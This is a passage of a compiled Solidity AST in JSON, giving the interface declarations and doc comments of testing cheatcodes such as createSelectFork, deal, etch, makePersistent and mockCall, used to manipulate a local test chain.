:15156,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15155,"mutability":"mutable","name":"forkId","nameLocation":"72831:6:13","nodeType":"VariableDeclaration","scope":15157,"src":"72823:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15154,"name":"uint256","nodeType":"ElementaryTypeName","src":"72823:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"72822:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15165,"nodeType":"FunctionDefinition","src":"72974:88:13","nodes":[],"documentation":{"id":15158,"nodeType":"StructuredDocumentation","src":"72845:124:13","text":"Creates and also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork."},"functionSelector":"98680034","implemented":false,"kind":"function","modifiers":[],"name":"createSelectFork","nameLocation":"72983:16:13","parameters":{"id":15161,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15160,"mutability":"mutable","name":"urlOrAlias","nameLocation":"73016:10:13","nodeType":"VariableDeclaration","scope":15165,"src":"73000:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15159,"name":"string","nodeType":"ElementaryTypeName","src":"73000:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"72999:28:13"},"returnParameters":{"id":15164,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15163,"mutability":"mutable","name":"forkId","nameLocation":"73054:6:13","nodeType":"VariableDeclaration","scope":15165,"src":"73046:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15162,"name":"uint256","nodeType":"ElementaryTypeName","src":"73046:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73045:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15175,"nodeType":"FunctionDefinition","src":"73186:109:13","nodes":[],"documentation":{"id":15166,"nodeType":"StructuredDocumentation","src":"73068:113:13","text":"Creates and also selects a new fork with the given endpoint and block and returns the identifier of the fork."},"functionSelector":"71ee464d","implemented":false,"kind":"function","modifiers":[],"name":"createSelectFork","nameLocation":"73195:16:13","parameters":{"id":15171,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15168,"mutability":"mutable","name":"urlOrAlias","nameLocation":"73228:10:13","nodeType":"VariableDeclaration","scope":15175,"src":"73212:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15167,"name":"string","nodeType":"ElementaryTypeName","src":"73212:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15170,"mutability":"mutable","name":"blockNumber","nameLocation":"73248:11:13","nodeType":"VariableDeclaration","scope":15175,"src":"73240:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15169,"name":"uint256","nodeType":"ElementaryTypeName","src":"73240:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73211:49:13"},"returnParameters":{"id":15174,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15173,"mutability":"mutable","name":"forkId","nameLocation":"73287:6:13","nodeType":"VariableDeclaration","scope":15175,"src":"73279:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15172,"name":"uint256","nodeType":"ElementaryTypeName","src":"73279:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73278:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15185,"nodeType":"FunctionDefinition","src":"73531:104:13","nodes":[],"documentation":{"id":15176,"nodeType":"StructuredDocumentation","src":"73301:225:13","text":"Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,\n replays all transaction mined in the block before the transaction, returns the identifier of the fork."},"functionSelector":"84d52b7a","implemented":false,"kind":"function","modifiers":[],"name":"createSelectFork","nameLocation":"73540:16:13","parameters":{"id":15181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15178,"mutability":"mutable","name":"urlOrAlias","nameLocation":"73573:10:13","nodeType":"VariableDeclaration","scope":15185,"src":"73557:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15177,"name":"string","nodeType":"ElementaryTypeName","src":"73557:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15180,"mutability":"mutable","name":"txHash","nameLocation":"73593:6:13","nodeType":"VariableDeclaration","scope":15185,"src":"73585:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"73585:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"73556:44:13"},"returnParameters":{"id":15184,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15183,"mutability":"mutable","name":"forkId","nameLocation":"73627:6:13","nodeType":"VariableDeclaration","scope":15185,"src":"73619:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15182,"name":"uint256","nodeType":"ElementaryTypeName","src":"73619:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73618:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15193,"nodeType":"FunctionDefinition","src":"73675:60:13","nodes":[],"documentation":{"id":15186,"nodeType":"StructuredDocumentation","src":"73641:29:13","text":"Sets an address' balance."},"functionSelector":"c88a5e6d","implemented":false,"kind":"function","modifiers":[],"name":"deal","nameLocation":"73684:4:13","parameters":{"id":15191,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15188,"mutability":"mutable","name":"account","nameLocation":"73697:7:13","nodeType":"VariableDeclaration","scope":15193,"src":"73689:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15187,"name":"address","nodeType":"ElementaryTypeName","src":"73689:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15190,"mutability":"mutable","name":"newBalance","nameLocation":"73714:10:13","nodeType":"VariableDeclaration","scope":15193,"src":"73706:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15189,"name":"uint256","nodeType":"ElementaryTypeName","src":"73706:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73688:37:13"},"returnParameters":{"id":15192,"nodeType":"ParameterList","parameters":[],"src":"73734:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15201,"nodeType":"FunctionDefinition","src":"73973:76:13","nodes":[],"documentation":{"id":15194,"nodeType":"StructuredDocumentation","src":"73741:227:13","text":"Removes the snapshot with the given ID created by `snapshot`.\n Takes the snapshot ID to delete.\n Returns `true` if the snapshot was successfully deleted.\n Returns `false` if the snapshot does not exist."},"functionSelector":"a6368557","implemented":false,"kind":"function","modifiers":[],"name":"deleteSnapshot","nameLocation":"73982:14:13","parameters":{"id":15197,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15196,"mutability":"mutable","name":"snapshotId","nameLocation":"74005:10:13","nodeType":"VariableDeclaration","scope":15201,"src":"73997:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15195,"name":"uint256","nodeType":"ElementaryTypeName","src":"73997:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"73996:20:13"},"returnParameters":{"id":15200,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15199,"mutability":"mutable","name":"success","nameLocation":"74040:7:13","nodeType":"VariableDeclaration","scope":15201,"src":"74035:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15198,"name":"bool","nodeType":"ElementaryTypeName","src":"74035:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"74034:14:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15205,"nodeType":"FunctionDefinition","src":"74121:36:13","nodes":[],"documentation":{"id":15202,"nodeType":"StructuredDocumentation","src":"74055:61:13","text":"Removes _all_ snapshots previously created by `snapshot`."},"functionSelector":"421ae469","implemented":false,"kind":"function","modifiers":[],"name":"deleteSnapshots","nameLocation":"74130:15:13","parameters":{"id":15203,"nodeType":"ParameterList","parameters":[],"src":"74145:2:13"},"returnParameters":{"id":15204,"nodeType":"ParameterList","parameters":[],"src":"74156:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15211,"nodeType":"FunctionDefinition","src":"74333:52:13","nodes":[],"documentation":{"id":15206,"nodeType":"StructuredDocumentation","src":"74163:165:13","text":"Sets `block.difficulty`.\n Not available on EVM versions from Paris onwards. Use `prevrandao` instead.\n Reverts if used on unsupported EVM versions."},"functionSelector":"46cc92d9","implemented":false,"kind":"function","modifiers":[],"name":"difficulty","nameLocation":"74342:10:13","parameters":{"id":15209,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15208,"mutability":"mutable","name":"newDifficulty","nameLocation":"74361:13:13","nodeType":"VariableDeclaration","scope":15211,"src":"74353:21:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15207,"name":"uint256","nodeType":"ElementaryTypeName","src":"74353:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"74352:23:13"},"returnParameters":{"id":15210,"nodeType":"ParameterList","parameters":[],"src":"74384:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15217,"nodeType":"FunctionDefinition","src":"74444:61:13","nodes":[],"documentation":{"id":15212,"nodeType":"StructuredDocumentation","src":"74391:48:13","text":"Dump a genesis JSON file's `allocs` to disk."},"functionSelector":"709ecd3f","implemented":false,"kind":"function","modifiers":[],"name":"dumpState","nameLocation":"74453:9:13","parameters":{"id":15215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15214,"mutability":"mutable","name":"pathToStateJson","nameLocation":"74479:15:13","nodeType":"VariableDeclaration","scope":15217,"src":"74463:31:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15213,"name":"string","nodeType":"ElementaryTypeName","src":"74463:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"74462:33:13"},"returnParameters":{"id":15216,"nodeType":"ParameterList","parameters":[],"src":"74504:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15225,"nodeType":"FunctionDefinition","src":"74542:74:13","nodes":[],"documentation":{"id":15218,"nodeType":"StructuredDocumentation","src":"74511:26:13","text":"Sets an address' code."},"functionSelector":"b4d6c782","implemented":false,"kind":"function","modifiers":[],"name":"etch","nameLocation":"74551:4:13","parameters":{"id":15223,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15220,"mutability":"mutable","name":"target","nameLocation":"74564:6:13","nodeType":"VariableDeclaration","scope":15225,"src":"74556:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15219,"name":"address","nodeType":"ElementaryTypeName","src":"74556:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15222,"mutability":"mutable","name":"newRuntimeBytecode","nameLocation":"74587:18:13","nodeType":"VariableDeclaration","scope":15225,"src":"74572:33:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15221,"name":"bytes","nodeType":"ElementaryTypeName","src":"74572:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"74555:51:13"},"returnParameters":{"id":15224,"nodeType":"ParameterList","parameters":[],"src":"74615:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15231,"nodeType":"FunctionDefinition","src":"74652:42:13","nodes":[],"documentation":{"id":15226,"nodeType":"StructuredDocumentation","src":"74622:25:13","text":"Sets `block.basefee`."},"functionSelector":"39b37ab0","implemented":false,"kind":"function","modifiers":[],"name":"fee","nameLocation":"74661:3:13","parameters":{"id":15229,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15228,"mutability":"mutable","name":"newBasefee","nameLocation":"74673:10:13","nodeType":"VariableDeclaration","scope":15231,"src":"74665:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15227,"name":"uint256","nodeType":"ElementaryTypeName","src":"74665:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"74664:20:13"},"returnParameters":{"id":15230,"nodeType":"ParameterList","parameters":[],"src":"74693:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15239,"nodeType":"FunctionDefinition","src":"74761:79:13","nodes":[],"documentation":{"id":15232,"nodeType":"StructuredDocumentation","src":"74700:56:13","text":"Returns true if the account is marked as persistent."},"functionSelector":"d92d8efd","implemented":false,"kind":"function","modifiers":[],"name":"isPersistent","nameLocation":"74770:12:13","parameters":{"id":15235,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15234,"mutability":"mutable","name":"account","nameLocation":"74791:7:13","nodeType":"VariableDeclaration","scope":15239,"src":"74783:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15233,"name":"address","nodeType":"ElementaryTypeName","src":"74783:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"74782:17:13"},"returnParameters":{"id":15238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15237,"mutability":"mutable","name":"persistent","nameLocation":"74828:10:13","nodeType":"VariableDeclaration","scope":15239,"src":"74823:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15236,"name":"bool","nodeType":"ElementaryTypeName","src":"74823:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"74822:17:13"},"scope":15673,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":15245,"nodeType":"FunctionDefinition","src":"74921:63:13","nodes":[],"documentation":{"id":15240,"nodeType":"StructuredDocumentation","src":"74846:70:13","text":"Load a genesis JSON file's `allocs` into the in-memory revm state."},"functionSelector":"b3a056d7","implemented":false,"kind":"function","modifiers":[],"name":"loadAllocs","nameLocation":"74930:10:13","parameters":{"id":15243,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15242,"mutability":"mutable","name":"pathToAllocsJson","nameLocation":"74957:16:13","nodeType":"VariableDeclaration","scope":15245,"src":"74941:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15241,"name":"string","nodeType":"ElementaryTypeName","src":"74941:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"74940:34:13"},"returnParameters":{"id":15244,"nodeType":"ParameterList","parameters":[],"src":"74983:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15251,"nodeType":"FunctionDefinition","src":"75187:50:13","nodes":[],"documentation":{"id":15246,"nodeType":"StructuredDocumentation","src":"74990:192:13","text":"Marks that the account(s) should use persistent storage across fork swaps in a multifork setup\n Meaning, changes made to the state of this account will be kept when switching forks."},"functionSelector":"57e22dde","implemented":false,"kind":"function","modifiers":[],"name":"makePersistent","nameLocation":"75196:14:13","parameters":{"id":15249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15248,"mutability":"mutable","name":"account","nameLocation":"75219:7:13","nodeType":"VariableDeclaration","scope":15251,"src":"75211:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15247,"name":"address","nodeType":"ElementaryTypeName","src":"75211:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"75210:17:13"},"returnParameters":{"id":15250,"nodeType":"ParameterList","parameters":[],"src":"75236:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15259,"nodeType":"FunctionDefinition","src":"75282:69:13","nodes":[],"documentation":{"id":15252,"nodeType":"StructuredDocumentation","src":"75243:34:13","text":"See `makePersistent(address)`."},"functionSelector":"4074e0a8","implemented":false,"kind":"function","modifiers":[],"name":"makePersistent","nameLocation":"75291:14:13","parameters":{"id":15257,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15254,"mutability":"mutable","name":"account0","nameLocation":"75314:8:13","nodeType":"VariableDeclaration","scope":15259,"src":"75306:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15253,"name":"address","nodeType":"ElementaryTypeName","src":"75306:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15256,"mutability":"mutable","name":"account1","nameLocation":"75332:8:13","nodeType":"VariableDeclaration","scope":15259,"src":"75324:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15255,"name":"address","nodeType":"ElementaryTypeName","src":"75324:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"75305:36:13"},"returnParameters":{"id":15258,"nodeType":"ParameterList","parameters":[],"src":"75350:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15269,"nodeType":"FunctionDefinition","src":"75396:87:13","nodes":[],"documentation":{"id":15260,"nodeType":"StructuredDocumentation","src":"75357:34:13","text":"See `makePersistent(address)`."},"functionSelector":"efb77a75","implemented":false,"kind":"function","modifiers":[],"name":"makePersistent","nameLocation":"75405:14:13","parameters":{"id":15267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15262,"mutability":"mutable","name":"account0","nameLocation":"75428:8:13","nodeType":"VariableDeclaration","scope":15269,"src":"75420:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15261,"name":"address","nodeType":"ElementaryTypeName","src":"75420:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15264,"mutability":"mutable","name":"account1","nameLocation":"75446:8:13","nodeType":"VariableDeclaration","scope":15269,"src":"75438:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15263,"name":"address","nodeType":"ElementaryTypeName","src":"75438:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15266,"mutability":"mutable","name":"account2","nameLocation":"75464:8:13","nodeType":"VariableDeclaration","scope":15269,"src":"75456:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15265,"name":"address","nodeType":"ElementaryTypeName","src":"75456:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"75419:54:13"},"returnParameters":{"id":15268,"nodeType":"ParameterList","parameters":[],"src":"75482:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15276,"nodeType":"FunctionDefinition","src":"75528:62:13","nodes":[],"documentation":{"id":15270,"nodeType":"StructuredDocumentation","src":"75489:34:13","text":"See `makePersistent(address)`."},"functionSelector":"1d9e269e","implemented":false,"kind":"function","modifiers":[],"name":"makePersistent","nameLocation":"75537:14:13","parameters":{"id":15274,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15273,"mutability":"mutable","name":"accounts","nameLocation":"75571:8:13","nodeType":"VariableDeclaration","scope":15276,"src":"75552:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":15271,"name":"address","nodeType":"ElementaryTypeName","src":"75552:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":15272,"nodeType":"ArrayTypeName","src":"75552:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"75551:29:13"},"returnParameters":{"id":15275,"nodeType":"ParameterList","parameters":[],"src":"75589:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15286,"nodeType":"FunctionDefinition","src":"75661:97:13","nodes":[],"documentation":{"id":15277,"nodeType":"StructuredDocumentation","src":"75596:60:13","text":"Reverts a call to an address with specified revert data."},"functionSelector":"dbaad147","implemented":false,"kind":"function","modifiers":[],"name":"mockCallRevert","nameLocation":"75670:14:13","parameters":{"id":15284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15279,"mutability":"mutable","name":"callee","nameLocation":"75693:6:13","nodeType":"VariableDeclaration","scope":15286,"src":"75685:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15278,"name":"address","nodeType":"ElementaryTypeName","src":"75685:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15281,"mutability":"mutable","name":"data","nameLocation":"75716:4:13","nodeType":"VariableDeclaration","scope":15286,"src":"75701:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15280,"name":"bytes","nodeType":"ElementaryTypeName","src":"75701:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15283,"mutability":"mutable","name":"revertData","nameLocation":"75737:10:13","nodeType":"VariableDeclaration","scope":15286,"src":"75722:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15282,"name":"bytes","nodeType":"ElementaryTypeName","src":"75722:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"75684:64:13"},"returnParameters":{"id":15285,"nodeType":"ParameterList","parameters":[],"src":"75757:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15298,"nodeType":"FunctionDefinition","src":"75858:123:13","nodes":[],"documentation":{"id":15287,"nodeType":"StructuredDocumentation","src":"75764:89:13","text":"Reverts a call to an address with a specific `msg.value`, with specified revert data."},"functionSelector":"d23cd037","implemented":false,"kind":"function","modifiers":[],"name":"mockCallRevert","nameLocation":"75867:14:13","parameters":{"id":15296,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15289,"mutability":"mutable","name":"callee","nameLocation":"75890:6:13","nodeType":"VariableDeclaration","scope":15298,"src":"75882:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15288,"name":"address","nodeType":"ElementaryTypeName","src":"75882:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15291,"mutability":"mutable","name":"msgValue","nameLocation":"75906:8:13","nodeType":"VariableDeclaration","scope":15298,"src":"75898:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15290,"name":"uint256","nodeType":"ElementaryTypeName","src":"75898:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15293,"mutability":"mutable","name":"data","nameLocation":"75931:4:13","nodeType":"VariableDeclaration","scope":15298,"src":"75916:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15292,"name":"bytes","nodeType":"ElementaryTypeName","src":"75916:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15295,"mutability":"mutable","name":"revertData","nameLocation":"75952:10:13","nodeType":"VariableDeclaration","scope":15298,"src":"75937:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15294,"name":"bytes","nodeType":"ElementaryTypeName","src":"75937:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"75881:82:13"},"returnParameters":{"id":15297,"nodeType":"ParameterList","parameters":[],"src":"75980:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15308,"nodeType":"FunctionDefinition","src":"76241:91:13","nodes":[],"documentation":{"id":15299,"nodeType":"StructuredDocumentation","src":"75987:249:13","text":"Mocks a call to an address, returning specified data.\n Calldata can either be strict or a partial match, e.g. if you only\n pass a Solidity selector to the expected calldata, then the entire Solidity\n function will be mocked."},"functionSelector":"b96213e4","implemented":false,"kind":"function","modifiers":[],"name":"mockCall","nameLocation":"76250:8:13","parameters":{"id":15306,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15301,"mutability":"mutable","name":"callee","nameLocation":"76267:6:13","nodeType":"VariableDeclaration","scope":15308,"src":"76259:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15300,"name":"address","nodeType":"ElementaryTypeName","src":"76259:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15303,"mutability":"mutable","name":"data","nameLocation":"76290:4:13","nodeType":"VariableDeclaration","scope":15308,"src":"76275:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15302,"name":"bytes","nodeType":"ElementaryTypeName","src":"76275:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15305,"mutability":"mutable","name":"returnData","nameLocation":"76311:10:13","nodeType":"VariableDeclaration","scope":15308,"src":"76296:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15304,"name":"bytes","nodeType":"ElementaryTypeName","src":"76296:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"76258:64:13"},"returnParameters":{"id":15307,"nodeType":"ParameterList","parameters":[],"src":"76331:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15320,"nodeType":"FunctionDefinition","src":"76507:109:13","nodes":[],"documentation":{"id":15309,"nodeType":"StructuredDocumentation","src":"76338:164:13","text":"Mocks a call to an address with a specific `msg.value`, returning specified data.\n Calldata match takes precedence over `msg.value` in case of ambiguity."},"functionSelector":"81409b91","implemented":false,"kind":"function","modifiers":[],"name":"mockCall","nameLocation":"76516:8:13","parameters":{"id":15318,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15311,"mutability":"mutable","name":"callee","nameLocation":"76533:6:13","nodeType":"VariableDeclaration","scope":15320,"src":"76525:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15310,"name":"address","nodeType":"ElementaryTypeName","src":"76525:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15313,"mutability":"mutable","name":"msgValue","nameLocation":"76549:8:13","nodeType":"VariableDeclaration","scope":15320,"src":"76541:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15312,"name":"uint256","nodeType":"ElementaryTypeName","src":"76541:7:13","typeD